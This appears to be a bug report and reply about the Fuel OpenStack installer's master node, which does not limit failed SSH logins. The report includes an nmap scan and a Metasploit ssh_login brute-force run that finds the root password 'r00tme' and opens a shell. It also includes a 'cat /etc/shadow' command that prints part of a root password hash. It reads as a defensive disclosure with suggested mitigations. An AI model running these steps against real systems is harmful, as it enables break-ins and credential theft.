Currently the is no any mechanism that will limit unsuccessful ssh_login attempts:
root@kali:~# nmap 10.109.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-31 06:57 EST
Nmap scan report for nailgun.test.domain.local (10.109.0.2)
Host is up (0.00031s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE
22/tcp open ssh
...
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all use
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0
DB_ALL_CREDS false no Try each user/password couple s
DB_ALL_PASS false no Add all passwords in the curren
DB_ALL_USERS false no Add all users in the current da
PASSWORD no A specific password to authenti
PASS_FILE no File containing passwords, one
RHOSTS 10.109.0.2 yes The target address range or CID
RPORT 22 yes The target port
STOP_ON_SUCCESS true yes Stop guessing when a credential
THREADS 10 yes The number of concurrent thread
USERNAME no A specific username to authenti
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt no File containing users and passw
USER_AS_PASS false no Try the username as the passwor
USER_FILE no File containing usernames, one
VERBOSE true yes Whether to print output for all
msf auxiliary(ssh_login) > exploit
[*] 10.109.0.2:22 SSH - Starting bruteforce
[-] 10.109.0.2:22 SSH - Failed: 'root:'
[-] 10.109.0.2:22 SSH - Failed: 'root:!root'
[-] 10.109.0.2:22 SSH - Failed: 'root:Cisco'
[-] 10.109.0.2:22 SSH - Failed: 'root:NeXT'
[-] 10.109.0.2:22 SSH - Failed: 'root:QNX'
[-] 10.109.0.2:22 SSH - Failed: 'root:admin'
[-] 10.109.0.2:22 SSH - Failed: 'root:attack'
[-] 10.109.0.2:22 SSH - Failed: 'root:ax400'
[-] 10.109.0.2:22 SSH - Failed: 'root:bagabu'
[-] 10.109.0.2:22 SSH - Failed: 'root:blablabla'
[+] 10.109.0.2:22 SSH - Success: 'root:r00tme' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfi
0.0-229.20.1.el7.x86_64 #1 SMP Tue Nov 3 19:10:07 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (10.109.0.9:33246 -> 10.109.0.2:22) at 2016-01-31 07:43:38 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell linux SSH root:r00tme (10.109.0.2:22) 10.109.0.9:33246 -> 10.109.0.2:22 (10.109.0.2)
msf auxiliary(ssh_login) > sessions -c "cat /etc/shadow" -i 1
[*] Running 'cat /etc/shadow' on shell session 1 (10.109.0.2)
root:$6$If4BdxhrvU2k1RT.$0GrpofhqjyAajgEJHq0jgn5LAwL8CbMrOpsn14Cux558qxS4z1qlyWJ/ThXhjQKrVGFgG
...
There were the different sizes of file ~100 strings, but no blocks/bans for IPs with big number unsuccessful ssh_login attempts.
Shell we use something like: "Fail2ban"
with reasonable ban time and attempts number options?
Brute force is a most commonly used method to break into the system. As long as people use weak passwords, the bad guys will be always trying to brute force them. Not only for SSH, but we often see brute forces via SMTP, POP, IMAP, FTP, API services or to admin panels (Horizon in our case). Defending against such attacks is very difficult and don't have the common solution, so 'Fail2Ban' is only one of possible solutions and not an ideal because, for example, it can block the normal user login attempts and doesn't have any mechanisms to detect the bad guy.
This is actually not a Fuel bug, but security infrastructure problem. A system administrator should change the standard password during installation of the Fuel, they also can block suspicious remote SSH logins using any kind of firewalls (external or even internal 'iptables'), can configure a different port for the SSH service, or at least successfully disable SSH service at all, or even shutdown and don't use Fuel after successful installation of the OpenStack cluster.